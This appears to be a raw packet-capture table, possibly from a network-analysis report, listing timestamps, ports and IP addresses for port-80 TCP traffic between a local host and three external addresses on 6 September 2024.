Sep 6, 2024 08:17:06.629376888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629388094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629398108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629404068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629409075 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629436016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629441977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629447937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629473925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629498005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629498959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629508972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629534006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629539967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629545927 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629555941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629565001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629576921 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629599094 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629622936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629633904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629642963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629654884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629666090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629668951 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629678011 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629713058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.629817963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629829884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.629874945 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630045891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630055904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630065918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630078077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630115032 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630122900 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630132914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630145073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630156040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630165100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630168915 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630177021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630192041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630214930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630218983 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630225897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630239964 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630250931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630259037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630280972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630291939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630306005 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630325079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630369902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630379915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630395889 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630405903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630415916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630422115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630424976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630430937 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630435944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630446911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630462885 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630466938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630489111 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630502939 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630516052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630532026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630543947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630568027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630592108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630594015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630604982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630615950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630639076 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630661964 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630722046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630733013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630742073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630753994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630764008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630764008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630775928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630789995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630791903 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630801916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630805969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630829096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630836010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630846024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630876064 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630881071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630897045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630913019 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630922079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630934000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630940914 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630959034 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630975962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.630985022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.630995989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631006956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631019115 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631028891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631056070 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631057024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631078959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631089926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631092072 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631119013 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631145954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631155968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631165981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631177902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631191015 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631216049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631277084 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631288052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631298065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631309986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631319046 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631320000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631331921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631342888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631345034 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631360054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631386042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631388903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631400108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631409883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631422043 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.631437063 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631445885 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.631472111 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.635960102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.635971069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.635982037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.635992050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.636002064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.636008978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.636013985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.636025906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.636033058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.636065006 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.638832092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638842106 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638856888 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638869047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638871908 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.638880014 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638890982 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638895988 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.638900995 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638911963 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638921976 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638922930 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.638931990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638935089 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.638943911 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638955116 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638968945 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638969898 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.638979912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.638989925 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.639003038 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.639014006 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.639039993 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640234947 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640247107 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640258074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640273094 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640280008 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640283108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640294075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640305996 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640316963 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640322924 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640342951 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640351057 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640492916 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640537024 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640547991 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640548944 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640572071 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640588045 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640605927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640618086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640626907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640652895 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640680075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640680075 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640691042 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640727043 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640902042 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640912056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640922070 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640939951 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640949965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640950918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640961885 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640973091 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.640981913 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.640983105 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.641000986 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.641026020 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.642098904 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.642148018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.642148972 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.642159939 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.642190933 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.642204046 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.642298937 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.642309904 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.642321110 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.642330885 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.642342091 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.642350912 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.642385006 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644231081 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644283056 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644306898 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644316912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644328117 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644339085 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644345045 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644355059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644357920 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644366980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644376993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644388914 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644402027 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644428015 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644551992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644597054 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644674063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644685030 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644701004 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644711971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644717932 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644721031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644735098 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644750118 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644759893 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644762039 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.644788027 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.644804955 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645296097 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645313978 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645325899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645342112 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645363092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645365953 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645374060 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645400047 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645401955 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645412922 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645422935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645426035 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645436049 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645450115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645463943 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645468950 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645478964 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645488977 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645504951 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645518064 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645519972 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645528078 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645538092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645553112 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645560980 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645561934 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645582914 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645592928 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645617008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645628929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645643950 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645654917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645656109 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645673037 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645687103 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645708084 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645721912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645736933 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645749092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645759106 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645761013 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645768881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645778894 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645800114 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645812988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645823956 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645824909 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645833969 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645845890 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645845890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645854950 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.645857096 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645881891 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.645905018 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.706573009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.706614971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.706628084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.706675053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.706686974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.706701040 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.706712008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.706722021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.706767082 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.706940889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.712352991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.712409973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.712410927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.712419987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.712426901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.712469101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.712475061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.712480068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.712505102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.712594986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.715573072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.715590000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.715600967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.715611935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.715622902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.715625048 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.715648890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.715660095 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.715679884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.715691090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.715708971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.715718031 CEST	80	49737	147.45.44.104	192.168.2.4
